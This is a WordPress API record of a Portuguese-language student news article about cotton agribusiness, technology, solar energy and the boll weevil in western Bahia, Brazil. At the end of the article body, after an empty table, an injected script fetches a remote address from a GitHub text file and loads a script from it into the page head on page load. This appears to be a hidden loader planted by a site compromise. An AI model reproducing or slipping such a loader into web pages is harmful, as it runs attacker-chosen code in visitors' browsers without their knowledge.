{"id":316,"date":"2022-09-16T23:35:17","date_gmt":"2022-09-17T02:35:17","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=316"},"modified":"2024-10-07T15:23:34","modified_gmt":"2024-10-07T18:23:34","slug":"agronegocio-ciencia-e-tecnologia-tres-pilares-de-sucesso","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=316","title":{"rendered":"Agroneg\u00f3cio, ci\u00eancia e tecnologia: tr\u00eas pilares de sucesso"},"content":{"rendered":"<p>Por\u00a0Dila Rocha<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-320 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1-1024x683.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1-1024x683.jpg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1-300x200.jpg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1-768x512.jpg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1-262x175.jpg 262w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1-570x380.jpg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/foto-lavoura-1.jpg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Foto: Let\u00edcia Meira<\/p>\n<p><span style=\"font-weight: 400;\">O agroneg\u00f3cio no Brasil \u00e9 respons\u00e1vel por cerca de 30% do Produto Interno Bruto (PIB), isso se estendendo ao estado baiano, fatores que contribuem fielmente\u00a0 a esses n\u00fameros; a chegada e manuten\u00e7\u00e3o da tecnologia, pesquisa e consequentemente grandes investimentos.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Essa realidade se faz bem presente em nosso meio. Atualmente, de acordo com dados do Cepea\/Esalq-USP (Instituto Cient\u00edfico de Pesquisa do Estado de S\u00e3o Paulo), o agroneg\u00f3cio foi um dos setores que n\u00e3o parou durante o per\u00edodo pand\u00eamico, \u00e9 um mercado extremamente promissor, tanto internamente\u00a0 quanto externamente. Dessa forma, seu avan\u00e7o\u00a0 j\u00e1 est\u00e1 diretamente atrelado \u00e0 tecnologia e \u00e0s oportunidades que ela proporciona ao setor, estatisticamente comprovado,\u00a0 com resultados positivos em n\u00fameros e fatos.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O Nordeste e, em\u00a0 espec\u00edfico o Estado\u00a0 da Bahia, conta com a segunda maior produ\u00e7\u00e3o de algod\u00e3o do Brasil.\u00a0 Dono de uma das posi\u00e7\u00f5es no\u00a0 ranking de\u00a0 produ\u00e7\u00e3o\u00a0 da planta no pa\u00eds, o Estado \u00e9 refer\u00eancia nacional. Mas chegar a esses n\u00fameros n\u00e3o foi e n\u00e3o \u00e9 uma realidade f\u00e1cil, pois o solo dessa regi\u00e3o \u00e9\u00a0 pobre em nutrientes, com HVSS regradas. O uso da tecnologia prop\u00f5e\u00a0 variedades mais adaptadas, o aux\u00edlio\u00a0 da ci\u00eancia e tecnologia e o avan\u00e7o nas planta\u00e7\u00f5es se tornou cada vez maior, melhorando o desempenho das safras.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Na Bahia, a cidade de Lu\u00eds Eduardo Magalh\u00e3es\u00a0 que h\u00e1 40 anos\u00a0 era apenas um posto de gasolina e um pequeno restaurante, hoje \u00a0 \u00e9 refer\u00eancia do agroneg\u00f3cio brasileiro no ramo da produ\u00e7\u00e3o do algod\u00e3o. Lu\u00eds Eduardo Magalh\u00e3es est\u00e1\u00a0 localizada no extremo oeste baiano e sua popula\u00e7\u00e3o total\u00a0 de 92 mil pessoas. Onde \u00e9 localizada a sede\u00a0 da Abapa ( associa\u00e7\u00e3o baiana de algod\u00e3o) \u00e9 refer\u00eancia em tecnologia, maquin\u00e1rios de ponta, ci\u00eancia e sucesso econ\u00f4mico, sendo respons\u00e1vel por grande parte do PIB brasileiro e pelo sustento de centenas de fam\u00edlias na regi\u00e3o.<\/span><\/p>\n<h3><\/h3>\n<h3><b>\u00a0Tecnologia\u00a0 e pesquisa\u00a0<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Segundo o professor de Agronomia Jorge Silva J\u00fanior, em rela\u00e7\u00e3o ao uso da tecnologia\u00a0 e ci\u00eancia,\u00a0 \u00e9 not\u00e1vel a sua\u00a0 import\u00e2ncia,\u00a0 h\u00e1 pouco mais de 15 anos, o algod\u00e3o no oeste da Bahia n\u00e3o era cultivado. \u00c9 percept\u00edvel, ent\u00e3o, que a tecnologia foi de suma import\u00e2ncia para conseguirmos obter variedades adapt\u00e1veis para regi\u00e3o do oeste da Bahia. Nos dias atuais uma das melhores qualidades de fibra de algod\u00e3o do mundo, se faz presente aqui conosco e um dos\u00a0 fatores de peso tem sido exatamente o melhoramento gen\u00e9tico, a qualidade das variedades que podem ser tolerantes e muitas vezes resistentes a determinados tipos de pragas, doen\u00e7as.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Inclusive sobre melhoramento gen\u00e9tico: &#8220;isso foi de suma import\u00e2ncia para conseguirmos adaptar e garantir a produ\u00e7\u00e3o de algod\u00e3o, na realidade.\u201d Afirma o professor do curso de engenharia agron\u00f4mica, Jorge da Silva J\u00fanior, da Universidade do Estado da Bahia (UNEB)\u00a0\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-287 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1024x682.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Foto: Abapa<\/span><\/p>\n<h3><b>Novas fontes de energia no agroneg\u00f3cio<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">A evolu\u00e7\u00e3o das capacidades agr\u00edcolas est\u00e1 diretamente ligada \u00e0 procura de outras fontes de energia. Quem se aventura no mundo do agroneg\u00f3cio sabe que sempre estar\u00e1 correndo contra o tempo. A implanta\u00e7\u00e3o da tecnologia nesse meio se tornou um grande divisor de \u00e1guas, colocando como exemplo a energia solar; modalidade que gera grandes benef\u00edcios econ\u00f4micos ao espa\u00e7o\u00a0 agr\u00edcola.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A Zanotto Cotton Algodoeira\u00a0 do oeste baiano, localizada na cidade de Lu\u00eds Eduardo Magalh\u00e3es, j\u00e1 utiliza essa fonte de energia renov\u00e1vel.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-317 size-full img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-1.jpeg\" alt=\"\" width=\"626\" height=\"351\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-1.jpeg 626w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-1-300x168.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-1-264x148.jpeg 264w\" sizes=\"auto, (max-width: 626px) 100vw, 626px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0Fonte: Arquivo Google.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Aos poucos, equipamentos e tecnologias agr\u00edcolas que podem ser integrados \u00e0 internet ganham espa\u00e7o no mercado. Al\u00e9m de chips RFID e QRcode, que j\u00e1 s\u00e3o utilizados por muitos produtores, a tend\u00eancia \u00e9 que a IoT permita o uso cada vez mais eficiente de redes de telemetria, softwares e controle A.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">No ano de 2020, foram lan\u00e7ados dados completos autom\u00e1ticos da produ\u00e7\u00e3o da pesquisa da Absolar, Associa\u00e7\u00e3o Brasileira de Energia Solar Fotovoltaica, o setor agro dobrou o investimento em solu\u00e7\u00f5es de energia el\u00e9trica , tornando-se o setor de maior investimento em energia solar no Brasil. Mais de\u00a0 R$ 3 bilh\u00f5es investidos em sistemas de gera\u00e7\u00e3o pr\u00f3pria de eletricidade, equivalente a mais de 10% dos investimentos feitos nessa modalidade. Ao todo, foram cerca de\u00a0 30 mil sistemas instalados apenas em propriedades rurais, gerando energia el\u00e9trica para mais de 40 mil produtores.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>Bicudo-do-algodoeiro<\/b><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-318 size-full img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36.jpeg\" alt=\"\" width=\"600\" height=\"394\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36.jpeg 600w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-300x197.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-264x173.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-579x380.jpeg 579w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>Foto: Abapa<\/p>\n<p><span style=\"font-weight: 400;\">\u00a0O bicudo-do-algodoeiro, Anthonomus grandis Boheman,1843 (Coleoptera: Curculionidae), possivelmente, foi coletado pela primeira vez entre 1831 e 1835, em zonas costeiras de Veracruz, no M\u00e9xico, durante uma expedi\u00e7\u00e3o patrocinada por Chevrolet, um entomologista franc\u00eas. Trata-se de um besouro da fam\u00edlia dos curculion\u00eddeos, de colora\u00e7\u00e3o cinzenta ou castanha e mand\u00edbulas afiadas,\u00a0 chegando ao Brasil em meados dos anos 80 destruindo a segunda onda de algod\u00e3o nos ais. O bicudo-do-algodoeiro \u00e9 o inseto de maior incid\u00eancia e com o maior potencial de dano na cultura do algod\u00e3o. Essa praga \u00e9 capaz de destruir at\u00e9 mais de 60 % da lavoura em uma \u00fanica safra anual.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Geralmente, o ataque do bicudo inicia-se pouco mais de um m\u00eas depois do plantio da semente, espalhando-se pelas bordaduras.\u00a0 O inseto \u00e9 uma praga de contraste, por\u00e9m com avan\u00e7o de estudos e a implanta\u00e7\u00e3o da tecnologia \u00e9 poss\u00edvel amenizar seus estragos. J\u00e1 existem projetos em que seus resultados s\u00e3o positivos na corrida contra a praga.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8220;Produ\u00e7\u00e3o de insetos que s\u00e3o utilizados como forma de controle biol\u00f3gico, existem v\u00e1rios estudos de defesa sanit\u00e1ria dos quais sua utiliza\u00e7\u00e3o principalmente de fungos, s\u00e3o utilizados para o controle do Bicudo, al\u00e9m disso\u00a0 alguns outros projetos de controle biol\u00f3gico de um programa\u00a0 espec\u00edfico que trata da regulamenta\u00e7\u00e3o e de melhoria voltados ao controle do Bicudo do\u00a0 algodoeiro, que \u00e9 o programa Bicudo, que tem sido bastante utilizado tamb\u00e9m\u201d conclui o professor Jorge.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-319 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-1024x1024.jpeg\" alt=\"\" width=\"1024\" height=\"1024\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-1024x1024.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-150x150.jpeg 150w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-300x300.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-768x768.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-175x175.jpeg 175w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2-380x380.jpeg 380w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-23.14.36-2.jpeg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Foto: Jorge Silva<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0A Abapa presta um grande papel\u00a0 na regi\u00e3o trazendo notoriedade e credibilidade para uma terra t\u00e3o estereotipada negativamente. O avan\u00e7o do agroneg\u00f3cio aqui juntamente com avan\u00e7o de pesquisas e tecnologia transformou a regi\u00e3o oeste da Bahia e \u00e9 sin\u00f4nimo de prosperidade para sua popula\u00e7\u00e3o \u00e9 refer\u00eancia nacional; tudo gra\u00e7as ao manejo do algod\u00e3o, <\/span><span style=\"font-weight: 400;\">realiza\u00e7\u00f5es da Abapa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por\u00a0Dila Rocha Foto: Let\u00edcia Meira O agroneg\u00f3cio no Brasil \u00e9&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[12,7,2],"tags":[],"class_list":["post-316","post","type-post","status-publish","format-standard","hentry","category-jornalismo-impresso","category-noticias","category-webjornalismo"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/316","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=316"}],"version-history":[{"count":4,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/316\/revisions"}],"predecessor-version":[{"id":362,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/316\/revisions\/362"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=316"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=316"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=316"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}